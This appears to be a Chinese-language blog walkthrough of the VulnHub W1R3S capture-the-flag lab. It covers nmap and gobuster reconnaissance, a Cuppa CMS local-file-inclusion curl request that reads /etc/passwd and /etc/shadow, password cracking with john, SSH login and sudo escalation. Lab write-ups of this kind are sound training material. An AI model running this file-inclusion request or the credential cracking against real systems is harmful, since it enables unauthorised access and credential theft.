VulnHub-W1R3S: 1.0.1渗透学习
前言
靶机地址:https://download.vulnhub.com/w1r3s/w1r3s.v1.0.1.zip
靶机难度:初级(CTF)
靶机发布日期:2018 年 2 月 5 日
靶机描述:您受雇在 W1R3S.inc 个人服务器上进行渗透测试并报告所有结果。他们要求您获得 root 访问权限并找到标志(位于 /root 目录中);
目标:得到root权限&找到flag.txt
作者:我是小小白
时间:2021-07-09
请注意:
本博客所有文章,仅供研究测试及学习IT技术之用,严禁传播和用于非法用途,否则所产生的一切后果由观看文章、视频的人自行承担;本博客网以及发帖人不承担任何责任!
信息收集
主机发现
我们在VM中需要确定攻击目标的IP地址,可以使用netdiscover/nmap来获取目标主机的IP地址:
nmap -sP 192.168.1.0/24 -T5
参数解读:
-sP : 用ping扫描判断主机是否存活,只有主机存活,nmap才会继续扫描,一般最好不加,因为有的主机会禁止ping
-T5: 指定扫描过程使用的时序,总有6个级别(0-5),级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,在网络通讯状况较好的情况下推荐使用T5
端口扫描
我们已经找到了目标计算机IP地址:192.168.1.14
第一步是找出目标计算机上可用的开放端口和一些服务。因此我在目标计算机上启动了nmap全端口T5速度扫描:
nmap -sS -sV -sC -O -T5 -Pn -p- 192.168.1.14
参数解读:
-A :启用-A选项之后,Nmap将检测目标主机的下述信息
服务版本识别(-sV);
操作系统识别(-O);
脚本扫描(-sC);
Traceroute(–traceroute)
-sS/sT/sA/sW/sM:指定使用 TCP SYN/Connect()/ACK/Window/Maimon scans的方式来对目标主机进行扫描
-sV: 指定让Nmap进行服务版本扫描
-p-:进行全端口扫描
-Pn:禁用主机检测(-Pn)
要进一步枚举服务,也可以使用nc连接到每个端口上。例如如下枚举 ssh和http服务的方式:
nc -nv 192.168.1.13 22
nc -nv 192.168.1.13 80
目录枚举
gobuster dir -u http://192.168.1.14/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 --random-agent
/wordpress (Status: 301) [Size: 316] [--> http://192.168.1.14/wordpress/]
/javascript (Status: 301) [Size: 317] [--> http://192.168.1.14/javascript/]
/administrator (Status: 301) [Size: 320] [--> http://192.168.1.14/administrator/]
/server-status (Status: 403) [Size: 300]
测试发现,3个目录只有http://192.168.1.14/administrator/可以访问,是初始化安装页面;
指纹识别
发现是使用的Cuppa CMS搭建的站点;
漏洞发现
Nikto 扫描
nikto :开源的WEB扫描评估软件,可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的 http模式等
nikto -h 192.168.1.14 -C all
扫描发现存在Apche默认文件 /icons/README
漏洞利用
查找Cuppa CMS是否存在漏洞;
curl常用参数解读:
-d 参数用于发送 POST 请求的数据体,使用-d参数以后,HTTP 请求会自动加上标头Content-Type : application/x-www-form-urlencoded。并且会自动将请求转为 POST 方法,因此可以省略-X POST;
--data-urlencode参数等同于-d,发送 POST 请求的数据体,区别在于会自动将发送的数据进行 URL 编码。
-A 参数指定客户端的用户代理标头,即User-Agent。curl 的默认用户代理字符串是curl/[version]
-i 参数打印出服务器回应的 HTTP 标头
-s 参数将不输出错误和进度信息
curl -s --data-urlencode 'urlConfig=../../../../../../../../../etc/shadow' http://192.168.1.14/administrator/alerts/alertConfigField.php
实际测试发现利用https://www.exploit-db.com/exploits/25971上面的方法,发现读取不到文件,这里是使用curl来利用LFI漏洞获取/etc/password文件;
找到了一个用户w1r3s,然后同样的方法读取/etc/shadow
找到了用户w1r3s的salt密码,我们用john破解此密码
shadow文件解析
文件的格式为:
{用户名}:{加密后的口令密码}:{口令最后修改时间距原点(1970-1-1)的天数}:{口令最小修改间隔(防止修改口令,如果时限未到,将恢复至旧口令):{口令最大修改间隔}:{口令失效前的警告天数}:{账户不活动天数}:{账号失效天数}:{保留}
其中{加密后的口令密码}的格式为 \$id\$salt\$encrypted
id为1时,采用md5算法加密
id为5时,采用SHA256算法加密
id为6时,采用SHA512算法加密
salt为盐值,是对密码进行hash的一个干扰值
encrypted为散列值
1、将shadow文件导入pass.txt,也可以直接复制shadow文件中所有字段或第2个字段
2、john pass.txt #对散列值进行破解
用户名:w1r3s
密码:computer
利用获取到的账户密码,使用SSH进行尝试登录:
ssh w1r3s@192.168.1.14
提权
使用sudo -l查看一下权限,发现w1r3s拥有ALL权限,直接利用sudo提权
成功获取到了flag。